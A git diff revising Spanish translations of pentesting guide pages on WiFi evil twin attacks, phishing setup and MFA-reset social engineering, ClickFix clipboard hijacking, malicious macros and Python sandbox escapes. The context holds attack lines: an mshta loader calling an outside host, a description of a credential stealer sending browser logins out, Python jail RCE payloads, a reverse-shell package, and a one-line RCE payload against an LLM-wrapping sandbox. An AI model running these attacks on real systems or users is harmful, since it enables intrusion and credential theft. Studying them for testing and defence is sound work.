+Independientemente del protocolo elegido, el servidor PEAP/TTLS obtiene conocimiento de la verdadera identidad del usuario después de que se ha establecido el túnel TLS. La verdadera identidad puede representarse como user@realm o simplemente user. Si el servidor PEAP/TTLS también es responsable de autenticar al usuario, ahora posee la identidad del usuario y procede con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS de origen del usuario. Esta nueva solicitud RADIUS omite la capa del protocolo PEAP o TTLS. En los casos en que el método de autenticación protegido sea EAP, los mensajes EAP internos se transmiten al servidor RADIUS de origen sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo User-Name del mensaje RADIUS saliente contiene la verdadera identidad del usuario, reemplazando el User-Name anónimo de la solicitud RADIUS entrante. Cuando el método de autenticación protegido es PAP o CHAP (soportado solo por TTLS), el User-Name y otros atributos de autenticación extraídos de la carga útil TLS se sustituyen en el mensaje RADIUS saliente, desplazando el User-Name anónimo y los atributos TTLS EAP-Message encontrados en la solicitud RADIUS entrante.
Para más información consulta [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
@@ -485,7 +486,7 @@ wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
-**Detener procesos molestos**, configurar **modo monitor** y **iniciar hostapd**:
+**Detener procesos molestos**, establecer **modo monitor** y **iniciar hostapd**:
```bash
airmon-ng check kill
iwconfig wlan0 mode monitor
@@ -502,8 +503,8 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
Un ataque de evil twin explota la forma en que los clientes de WiFi reconocen las redes, confiando principalmente en el nombre de la red (ESSID) sin requerir que la estación base (punto de acceso) se autentique ante el cliente. Los puntos clave incluyen:
-- **Dificultad en la Diferenciación**: Los dispositivos tienen dificultades para distinguir entre puntos de acceso legítimos y maliciosos cuando comparten el mismo ESSID y tipo de cifrado. Las redes del mundo real a menudo utilizan múltiples puntos de acceso con el mismo ESSID para extender la cobertura sin problemas.
-- **Manipulación de Conexión y Roaming del Cliente**: El protocolo 802.11 permite a los dispositivos moverse entre puntos de acceso dentro del mismo ESS. Los atacantes pueden explotar esto atrayendo a un dispositivo a desconectarse de su estación base actual y conectarse a una maliciosa. Esto se puede lograr ofreciendo una señal más fuerte o interrumpiendo la conexión al punto de acceso legítimo mediante métodos como paquetes de desautenticación o interferencia.
+- **Dificultad en la Diferenciación**: Los dispositivos tienen dificultades para distinguir entre puntos de acceso legítimos y maliciosos cuando comparten el mismo ESSID y tipo de encriptación. Las redes del mundo real a menudo utilizan múltiples puntos de acceso con el mismo ESSID para extender la cobertura sin problemas.
+- **Manipulación de Conexión y Roaming del Cliente**: El protocolo 802.11 permite a los dispositivos moverse entre puntos de acceso dentro del mismo ESS. Los atacantes pueden explotar esto al atraer a un dispositivo a desconectarse de su estación base actual y conectarse a una maliciosa. Esto se puede lograr ofreciendo una señal más fuerte o interrumpiendo la conexión al punto de acceso legítimo a través de métodos como paquetes de desautenticación o interferencia.
- **Desafíos en la Ejecución**: Ejecutar con éxito un ataque de evil twin en entornos con múltiples puntos de acceso bien ubicados puede ser un desafío. Desautenticar un solo punto de acceso legítimo a menudo resulta en que el dispositivo se conecte a otro punto de acceso legítimo, a menos que el atacante pueda desautenticar todos los puntos de acceso cercanos o colocar estratégicamente el punto de acceso malicioso.
Puedes crear un Open Evil Twin muy básico (sin capacidades para enrutar tráfico a Internet) haciendo:
@@ -561,7 +562,7 @@ Esta es la metodología predeterminada para evitar tiempos de conexión largos.
```
O también podrías usar:
-- `--negotiate gtc-downgrade` para usar una implementación de degradación GTC altamente eficiente (contraseñas en texto plano)
+- `--negotiate gtc-downgrade` para usar una implementación de GTC downgrade altamente eficiente (contraseñas en texto plano)
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que el ataque sea mucho más difícil de detectar).
- [Encuentra más información en la wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
@@ -577,7 +578,7 @@ O también podrías usar:
_Este método fue probado en una conexión PEAP, pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS_
Dentro de la **configuración** de _hostapd-wpe_ **comenta** la línea que contiene _**dh_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` a `#dh_file=/etc/hostapd-wpe/certs/dh`)\
-Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, así podrás **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**.
+Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, por lo que podrás **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**.
Ahora inicia el **Evil Twin** usando **`hostapd-wpe`** con esa configuración modificada como de costumbre. Además, inicia **`wireshark`** en la **interfaz** que está realizando el ataque de Evil Twin.
@@ -595,14 +596,14 @@ Y mira la nueva **pestaña "Decrypted TLS"**:
### Listas negras/blancas de ESSID y MAC
-Diferentes tipos de Listas de Filtros de Control de Acceso de Medios (MFACLs) y sus correspondientes modos y efectos en el comportamiento de un Punto de Acceso (AP) falso:
+Diferentes tipos de Listas de Filtros de Control de Acceso a Medios (MFACLs) y sus correspondientes modos y efectos en el comportamiento de un Punto de Acceso (AP) falso:
1. **Lista blanca basada en MAC**:
- El AP falso solo responderá a solicitudes de sondeo de dispositivos especificados en la lista blanca, permaneciendo invisible para todos los demás no listados.
2. **Lista negra basada en MAC**:
- El AP falso ignorará las solicitudes de sondeo de dispositivos en la lista negra, haciendo que el AP falso sea invisible para esos dispositivos específicos.
3. **Lista blanca basada en SSID**:
-- El AP falso responderá a solicitudes de sondeo solo para ESSIDs específicos listados, haciéndolo invisible para dispositivos cuya Lista de Redes Preferidas (PNLs) no contenga esos ESSIDs.
+- El AP falso responderá a solicitudes de sondeo solo para ESSIDs específicos listados, haciéndolo invisible para dispositivos cuyas Listas de Redes Preferidas (PNLs) no contengan esos ESSIDs.
4. **Lista negra basada en SSID**:
- El AP falso no responderá a solicitudes de sondeo para los ESSIDs específicos en la lista negra, haciéndolo invisible para dispositivos que buscan esas redes particulares.
```bash
@@ -644,7 +645,7 @@ Un **ataque Loud MANA** es una estrategia avanzada para cuando los dispositivos
```
### Known Beacon attack
-Cuando el **Loud MANA attack** puede no ser suficiente, el **Known Beacon attack** presenta otro enfoque. Este método **fuerza el proceso de conexión simulando un AP que responde a cualquier nombre de red, alternando a través de una lista de ESSIDs potenciales** derivados de una lista de palabras. Esto simula la presencia de numerosas redes, con la esperanza de coincidir un ESSID dentro de la PNL de la víctima, lo que provoca un intento de conexión al AP fabricado. El ataque puede ser amplificado combinándolo con la opción `--loud` para un intento más agresivo de atrapar dispositivos.
+Cuando el **Loud MANA attack** puede no ser suficiente, el **Known Beacon attack** presenta otro enfoque. Este método **fuerza el proceso de conexión simulando un AP que responde a cualquier nombre de red, pasando por una lista de ESSIDs potenciales** derivados de una lista de palabras. Esto simula la presencia de numerosas redes, con la esperanza de coincidir un ESSID dentro de la PNL de la víctima, lo que provoca un intento de conexión al AP fabricado. El ataque puede ser amplificado combinándolo con la opción `--loud` para un intento más agresivo de atrapar dispositivos.
Eaphammer implementó este ataque como un MANA attack donde todos los ESSIDs dentro de una lista son cargados (también podrías combinar esto con `--loud` para crear un ataque Loud MANA + Known beacons):
```bash
@@ -663,9 +664,9 @@ El **ataque de Beacon Burst Conocido** implica **la transmisión rápida de tram
```
## Wi-Fi Direct
-**Wi-Fi Direct** es un protocolo que permite a los dispositivos conectarse directamente entre sí utilizando Wi-Fi sin necesidad de un punto de acceso inalámbrico tradicional. Esta capacidad está integrada en varios dispositivos de Internet de las Cosas (IoT), como impresoras y televisores, facilitando la comunicación directa entre dispositivos. Una característica notable de Wi-Fi Direct es que un dispositivo asume el papel de punto de acceso, conocido como el propietario del grupo, para gestionar la conexión.
+**Wi-Fi Direct** es un protocolo que permite a los dispositivos conectarse directamente entre sí utilizando Wi-Fi sin necesidad de un punto de acceso inalámbrico tradicional. Esta capacidad está integrada en varios dispositivos de Internet de las Cosas (IoT), como impresoras y televisores, facilitando la comunicación directa entre dispositivos. Una característica notable de Wi-Fi Direct es que un dispositivo asume el papel de un punto de acceso, conocido como el propietario del grupo, para gestionar la conexión.
-La seguridad de las conexiones Wi-Fi Direct se establece a través de **Wi-Fi Protected Setup (WPS)**, que admite varios métodos para un emparejamiento seguro, incluyendo:
+La seguridad para las conexiones Wi-Fi Direct se establece a través de **Wi-Fi Protected Setup (WPS)**, que admite varios métodos para un emparejamiento seguro, incluyendo:
- **Push-Button Configuration (PBC)**
- **PIN entry**
diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md
index e1ee109e4..53dc84853 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/README.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md
@@ -55,7 +55,7 @@ Hay una **posibilidad de que uno de algunos bits almacenados o en comunicación
Cuando este concepto se **aplica a las solicitudes DNS**, es posible que el **dominio recibido por el servidor DNS** no sea el mismo que el dominio solicitado inicialmente.
-Por ejemplo, una modificación de un solo bit en el dominio "windows.com" puede cambiarlo a "windnws.com."
+Por ejemplo, una modificación de un solo bit en el dominio "windows.com" puede cambiarlo a "windnws.com".
Los atacantes pueden **aprovechar esto registrando múltiples dominios de bit-flipping** que son similares al dominio de la víctima. Su intención es redirigir a los usuarios legítimos a su propia infraestructura.
@@ -78,7 +78,7 @@ Para asegurarte de que el dominio expirado que vas a comprar **ya tiene un buen
- [https://anymailfinder.com/](https://anymailfinder.com)
Para **descubrir más** direcciones de correo electrónico válidas o **verificar las que ya has descubierto**, puedes comprobar si puedes forzar por fuerza bruta los servidores smtp de la víctima. [Aprende cómo verificar/descubrir direcciones de correo electrónico aquí](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
-Además, no olvides que si los usuarios utilizan **cualquier portal web para acceder a sus correos**, puedes verificar si es vulnerable a **fuerza bruta de nombres de usuario**, y explotar la vulnerabilidad si es posible.
+Además, no olvides que si los usuarios utilizan **cualquier portal web para acceder a sus correos**, puedes comprobar si es vulnerable a **fuerza bruta de nombres de usuario**, y explotar la vulnerabilidad si es posible.
## Configurando GoPhish
@@ -128,7 +128,7 @@ Luego agrega el dominio a los siguientes archivos:
Finalmente, modifica los archivos **`/etc/hostname`** y **`/etc/mailname`** a tu nombre de dominio y **reinicia tu VPS.**
-Ahora, crea un **registro DNS A** de `mail.` apuntando a la **dirección IP** del VPS y un **registro DNS MX** apuntando a `mail.`
+Ahora, crea un **registro A de DNS** de `mail.` apuntando a la **dirección IP** del VPS y un **registro MX de DNS** apuntando a `mail.`
Ahora probemos enviar un correo:
```bash
@@ -247,7 +247,7 @@ Este es el contenido que debe establecerse dentro de un registro TXT dentro del
```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
-### Registro de Autenticación, Informe y Conformidad de Mensajes Basado en Dominio (DMARC)
+### Registro de Autenticación de Mensajes Basado en Dominio, Informes y Conformidad (DMARC)
Debes **configurar un registro DMARC para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
@@ -271,7 +271,7 @@ Este tutorial se basa en: [https://www.digitalocean.com/community/tutorials/how-
### Prueba tu puntuación de configuración de correo electrónico
Puedes hacerlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\
-Solo accede a la página y envía un correo electrónico a la dirección que te den:
+Simplemente accede a la página y envía un correo electrónico a la dirección que te den:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
@@ -313,7 +313,7 @@ La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si
> [!TIP]
> Se recomienda utilizar la funcionalidad "**Enviar correo de prueba**" para comprobar que todo está funcionando.\
-> Recomendaría **enviar los correos de prueba a direcciones de 10min** para evitar ser incluido en la lista negra al hacer pruebas.
+> Recomendaría **enviar los correos de prueba a direcciones de 10min** para evitar ser incluido en la lista negra al realizar pruebas.
### Plantilla de correo electrónico
@@ -413,17 +413,17 @@ Aquí es donde herramientas como [**evilginx2**](https://github.com/kgretzky/evi
1. **Suplantas el formulario de inicio de sesión** de la página web real.
2. El usuario **envía** sus **credenciales** a tu página falsa y la herramienta las envía a la página web real, **verificando si las credenciales funcionan**.
-3. Si la cuenta está configurada con **2FA**, la página MitM lo pedirá y una vez que el **usuario lo introduce**, la herramienta lo enviará a la página web real.
-4. Una vez que el usuario está autenticado, tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza un MitM.
+3. Si la cuenta está configurada con **2FA**, la página MitM lo pedirá y una vez que el **usuario lo introduzca**, la herramienta lo enviará a la página web real.
+4. Una vez que el usuario esté autenticado, tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza un MitM.
### A través de VNC
-¿Qué pasaría si en lugar de **enviar a la víctima a una página maliciosa** con el mismo aspecto que la original, lo envías a una **sesión VNC con un navegador conectado a la página web real**? Podrás ver lo que hace, robar la contraseña, el MFA utilizado, las cookies...\
+¿Qué pasaría si en lugar de **enviar a la víctima a una página maliciosa** con la misma apariencia que la original, lo envías a una **sesión VNC con un navegador conectado a la página web real**? Podrás ver lo que hace, robar la contraseña, el MFA utilizado, las cookies...\
Puedes hacer esto con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Detectando la detección
-Obviamente, una de las mejores maneras de saber si te han descubierto es **buscar tu dominio en listas negras**. Si aparece listado, de alguna manera tu dominio fue detectado como sospechoso.\
+Obviamente, una de las mejores maneras de saber si te han descubierto es **buscar tu dominio dentro de listas negras**. Si aparece listado, de alguna manera tu dominio fue detectado como sospechoso.\
Una forma fácil de verificar si tu dominio aparece en alguna lista negra es usar [https://malwareworld.com/](https://malwareworld.com)
Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad sospechosa de phishing en la red** como se explica en:
@@ -440,7 +440,7 @@ Usa [**Phishious** ](https://github.com/Rices/Phishious) para evaluar si tu corr
## Compromiso de Identidad de Alto Contacto (Restablecimiento de MFA de Help-Desk)
-Los conjuntos de intrusión modernos evitan cada vez más los señuelos por correo electrónico y **apuntan directamente al servicio de atención al cliente / flujo de recuperación de identidad** para derrotar el MFA. El ataque es completamente "vivir de la tierra": una vez que el operador posee credenciales válidas, pivotan con herramientas administrativas integradas; no se requiere malware.
+Los conjuntos de intrusión modernos evitan cada vez más los señuelos de correo electrónico y **apuntan directamente al servicio de atención al cliente / flujo de recuperación de identidad** para derrotar el MFA. El ataque es completamente "vivir de la tierra": una vez que el operador posee credenciales válidas, se desplaza con herramientas administrativas integradas; no se requiere malware.
### Flujo de ataque
1. Reconocimiento de la víctima
@@ -450,7 +450,7 @@ Los conjuntos de intrusión modernos evitan cada vez más los señuelos por corr
* Llama, usa Teams o chatea con el servicio de atención al cliente suplantando al objetivo (a menudo con **ID de llamada falsificada** o **voz clonada**).
* Proporciona la PII recopilada previamente para pasar la verificación basada en el conocimiento.
* Convence al agente para que **restablezca el secreto de MFA** o realice un **cambio de SIM** en un número de móvil registrado.
-3. Acciones inmediatas post-acceso (≤60 min en casos reales)
+3. Acciones inmediatas posteriores al acceso (≤60 min en casos reales)
* Establece un punto de apoyo a través de cualquier portal SSO web.
* Enumera AD / AzureAD con herramientas integradas (sin binarios descargados):
```powershell
@@ -463,14 +463,14 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerar dispositivos a los que la cuenta puede iniciar sesión
Get-MgUserRegisteredDevice -UserId
```
-* Movimiento lateral con **WMI**, **PsExec**, o agentes legítimos de **RMM** ya blanqueados en el entorno.
+* Movimiento lateral con **WMI**, **PsExec**, o agentes legítimos de **RMM** ya autorizados en el entorno.
### Detección y Mitigación
* Trata la recuperación de identidad del servicio de atención al cliente como una **operación privilegiada** – requiere autenticación adicional y aprobación del gerente.
* Despliega reglas de **Detección y Respuesta a Amenazas de Identidad (ITDR)** / **UEBA** que alerten sobre:
* Método de MFA cambiado + autenticación desde un nuevo dispositivo / geo.
* Elevación inmediata del mismo principal (usuario-→-administrador).
-* Graba las llamadas al servicio de atención al cliente y aplica un **callback a un número ya registrado** antes de cualquier restablecimiento.
+* Graba las llamadas al servicio de atención al cliente y aplica un **llamada de retorno a un número ya registrado** antes de cualquier restablecimiento.
* Implementa **Just-In-Time (JIT) / Acceso Privilegiado** para que las cuentas recién restablecidas **no** hereden automáticamente tokens de alto privilegio.
---
@@ -478,7 +478,7 @@ Get-MgUserRegisteredDevice -UserId
## Decepción a Gran Escala – Envenenamiento SEO y Campañas “ClickFix”
Los grupos de commodities compensan el costo de operaciones de alto contacto con ataques masivos que convierten **motores de búsqueda y redes publicitarias en el canal de entrega**.
-1. **El envenenamiento SEO / malvertising** empuja un resultado falso como `chromium-update[.]site` a los anuncios de búsqueda más altos.
+1. **Envenenamiento SEO / malvertising** empuja un resultado falso como `chromium-update[.]site` a los anuncios de búsqueda más altos.
2. La víctima descarga un pequeño **cargador de primera etapa** (a menudo JS/HTA/ISO). Ejemplos vistos por Unit 42:
* `RedLine stealer`
* `Lumma stealer`
@@ -503,21 +503,21 @@ and child_image: *\\*.exe
## Operaciones de Phishing Mejoradas por IA
Los atacantes ahora encadenan **APIs de LLM y clonación de voz** para señuelos completamente personalizados e interacción en tiempo real.
-| Capa | Ejemplo de uso por el actor de amenaza |
+| Capa | Ejemplo de uso por el actor de amenazas |
|-------|-----------------------------|
|Automatización|Generar y enviar >100 k correos / SMS con redacción aleatoria y enlaces de seguimiento.|
-|IA Generativa|Producir correos *únicos* que hacen referencia a M&A públicos, chistes internos de redes sociales; voz de CEO deep-fake en estafa de callback.|
+|IA Generativa|Producir correos *únicos* que hacen referencia a M&A públicos, bromas internas de redes sociales; voz de CEO deep-fake en estafa de devolución de llamada.|
|IA Agente|Registrar dominios de forma autónoma, raspar inteligencia de código abierto, elaborar correos de siguiente etapa cuando una víctima hace clic pero no envía credenciales.|
**Defensa:**
-• Agrega **banners dinámicos** que resalten mensajes enviados desde automatización no confiable (a través de anomalías ARC/DKIM).
+• Agrega **banners dinámicos** que resalten mensajes enviados desde automatización no confiable (a través de anomalías de ARC/DKIM).
• Despliega **frases de desafío biométrico de voz** para solicitudes telefónicas de alto riesgo.
• Simula continuamente señuelos generados por IA en programas de concienciación – las plantillas estáticas son obsoletas.
---
## Variante de Fatiga MFA / Bombardeo de Push – Restablecimiento Forzado
-Además del bombardeo clásico de push, los operadores simplemente **forzan un nuevo registro de MFA** durante la llamada al servicio de atención al cliente, anulando el token existente del usuario. Cualquier solicitud de inicio de sesión subsiguiente parece legítima para la víctima.
+Además del bombardeo clásico de push, los operadores simplemente **forzan un nuevo registro de MFA** durante la llamada al servicio de atención al cliente, anulando el token existente del usuario. Cualquier solicitud de inicio de sesión posterior parece legítima para la víctima.
```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail
diff --git a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
index 1677546ac..93008369f 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
@@ -55,7 +55,7 @@ powershell -nop -enc # Cloud Identificator: 2031
```
mshta https://iplogger.co/xxxx =+\\xxx
```
-La llamada **mshta** lanza un script de PowerShell oculto que recupera `PartyContinued.exe`, extrae `Boat.pst` (CAB), reconstruye `AutoIt3.exe` a través de `extrac32` y concatenación de archivos, y finalmente ejecuta un script `.a3x` que exfiltra credenciales del navegador a `sumeriavgv.digital`.
+La llamada **mshta** lanza un script de PowerShell oculto que recupera `PartyContinued.exe`, extrae `Boat.pst` (CAB), reconstruye `AutoIt3.exe` a través de `extrac32` y concatenación de archivos y finalmente ejecuta un script `.a3x` que exfiltra credenciales del navegador a `sumeriavgv.digital`.
## Detección y Caza
@@ -68,14 +68,15 @@ Los equipos azules pueden combinar la telemetría del portapapeles, la creación
## Mitigaciones
-1. Endurecimiento del navegador – deshabilitar el acceso de escritura al portapapeles (`dom.events.asyncClipboard.clipboardItem` etc.) o requerir un gesto del usuario.
+1. Dureza del navegador – deshabilitar el acceso de escritura al portapapeles (`dom.events.asyncClipboard.clipboardItem` etc.) o requerir un gesto del usuario.
2. Conciencia de seguridad – enseñar a los usuarios a *escribir* comandos sensibles o pegarlos primero en un editor de texto.
3. Modo de Lenguaje Restringido de PowerShell / Política de Ejecución + Control de Aplicaciones para bloquear líneas de comandos arbitrarias.
4. Controles de red – bloquear solicitudes salientes a dominios conocidos de pastejacking y C2 de malware.
## Trucos Relacionados
-* **Secuestro de Invitaciones de Discord** a menudo abusa del mismo enfoque ClickFix después de atraer a los usuarios a un servidor malicioso:
+* El **Secuestro de Invitaciones de Discord** a menudo abusa del mismo enfoque ClickFix después de atraer a los usuarios a un servidor malicioso:
+
{{#ref}}
discord-invite-hijacking.md
{{#endref}}
diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
index 1a4447f8e..b31a807fb 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
@@ -27,7 +27,7 @@ _**Categorías**: Enlaces y Referencias, **Nombres de campo**: includePicture, y
Es posible usar macros para ejecutar código arbitrario desde el documento.
-#### Funciones de Carga Automática
+#### Funciones de Autocarga
Cuanto más comunes sean, más probable es que el AV las detecte.
@@ -68,10 +68,10 @@ proc.Create "powershell
Ve a **Archivo > Información > Inspeccionar documento > Inspeccionar documento**, lo que abrirá el Inspector de documentos. Haz clic en **Inspeccionar** y luego en **Eliminar todo** junto a **Propiedades del documento e información personal**.
-#### Extensión de Doc
+#### Extensión de documento
Cuando termines, selecciona el menú desplegable **Guardar como tipo**, cambia el formato de **`.docx`** a **Word 97-2003 `.doc`**.\
-Haz esto porque **no puedes guardar macros dentro de un `.docx`** y hay un **estigma** **alrededor** de la extensión habilitada para macros **`.docm`** (por ejemplo, el ícono de miniatura tiene un enorme `!` y algunos gateways web/correo los bloquean por completo). Por lo tanto, esta **extensión heredada `.doc` es el mejor compromiso**.
+Haz esto porque **no puedes guardar macros dentro de un `.docx`** y hay un **estigma** **alrededor** de la extensión habilitada para macros **`.docm`** (por ejemplo, el ícono de miniatura tiene un gran `!` y algunos gateways web/correo los bloquean por completo). Por lo tanto, esta **extensión `.doc` heredada es el mejor compromiso**.
#### Generadores de macros maliciosas
@@ -144,10 +144,12 @@ Hay varias formas de **forzar la autenticación NTLM "remotamente"**, por ejempl
**Revisa estas ideas y más en las siguientes páginas:**
+
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
+
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
index c9fef382f..27ac59d23 100644
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@@ -39,7 +39,7 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
-Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro de la sandbox de python y para **escribir algún código** que podrías **ejecutar** para **eludir** la sandbox.
+Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro de la sandbox de python y para **escribir algo de código** que podrías **ejecutar** para **eludir** la sandbox.
> [!CAUTION] > La función **input()** de **Python2** permite ejecutar código python antes de que el programa se bloquee.
@@ -52,7 +52,7 @@ Python intenta **cargar bibliotecas del directorio actual primero** (el siguient
### Paquetes por defecto
Puedes encontrar una **lista de paquetes preinstalados** aquí: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
-Ten en cuenta que desde un pickle puedes hacer que el entorno de python **importe bibliotecas arbitrarias** instaladas en el sistema.\
+Ten en cuenta que desde un pickle puedes hacer que el entorno python **importe bibliotecas arbitrarias** instaladas en el sistema.\
Por ejemplo, el siguiente pickle, al ser cargado, va a importar la biblioteca pip para usarla:
```python
#Note that here we are importing the pip library so the pickle is created correctly
@@ -83,15 +83,15 @@ Puedes descargar el paquete para crear el reverse shell aquí. Por favor, ten en
Reverse.tar (1).gz
{{#endfile}}
-> [!NOTE]
+> [!TIP]
> Este paquete se llama `Reverse`. Sin embargo, fue diseñado especialmente para que cuando salgas del reverse shell el resto de la instalación falle, así que **no dejarás ningún paquete de python extra instalado en el servidor** cuando te vayas.
## Eval-ing python code
> [!WARNING]
-> Ten en cuenta que exec permite cadenas de múltiples líneas y ";", pero eval no (ver operador walrus)
+> Ten en cuenta que exec permite cadenas de varias líneas y ";", pero eval no (ver operador walrus)
-Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypassar** la restricción:
+Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypasar** la restricción:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@@ -137,7 +137,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
```
## Bypass de protecciones a través de codificaciones (UTF-7)
-En [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se utiliza UTF-7 para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
+En [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se utiliza UFT-7 para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@@ -152,7 +152,7 @@ También es posible eludirlo utilizando otras codificaciones, por ejemplo, `raw_
## Ejecución de Python sin llamadas
-Si estás dentro de una cárcel de python que **no te permite hacer llamadas**, todavía hay algunas maneras de **ejecutar funciones arbitrarias, código** y **comandos**.
+Si estás dentro de una cárcel de python que **no te permite hacer llamadas**, todavía hay algunas formas de **ejecutar funciones, código** y **comandos arbitrarios**.
### RCE con [decoradores](https://docs.python.org/3/glossary.html#term-decorator)
```python
@@ -176,7 +176,7 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
-### RCE creando objetos y sobrecarga
+### RCE creando objetos y sobrecargando
Si puedes **declarar una clase** y **crear un objeto** de esa clase, podrías **escribir/sobrescribir diferentes métodos** que pueden ser **activados** **sin** **necesitar llamarlos directamente**.
@@ -293,7 +293,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
-### Leer archivo con ayuda de builtins y licencia
+### Leer archivo con ayuda y licencia de builtins
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@@ -314,8 +314,8 @@ __builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
-Cuando no tienes `__builtins__`, no podrás importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
-Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución de código arbitrario**.
+Cuando no tienes `__builtins__` no podrás importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
+Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución arbitraria de código**.
En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**benignos**" cargados para **acceder** a **funcionalidades** **peligrosas** dentro de ellos.
@@ -682,7 +682,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
-Nota cómo puedes **acceder a atributos** de manera normal con un **punto** como `people_obj.__init__` y **elementos de diccionario** con **paréntesis** sin comillas `__globals__[CONFIG]`
+Nota cómo puedes **acceder a atributos** de manera normal con un **punto** como `people_obj.__init__` y **elemento de dict** con **paréntesis** sin comillas `__globals__[CONFIG]`
También nota que puedes usar `.__dict__` para enumerar elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
@@ -707,6 +707,7 @@ return 'HAL 9000'
> [!CAUTION]
> Consulta también la siguiente página para gadgets que **leerán información sensible de los objetos internos de Python**:
+
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
@@ -727,19 +728,19 @@ secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless
```
-### Bypass de cárceles LLM
+### Bypass de LLM Jails
Desde [aquí](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### De formato a RCE cargando bibliotecas
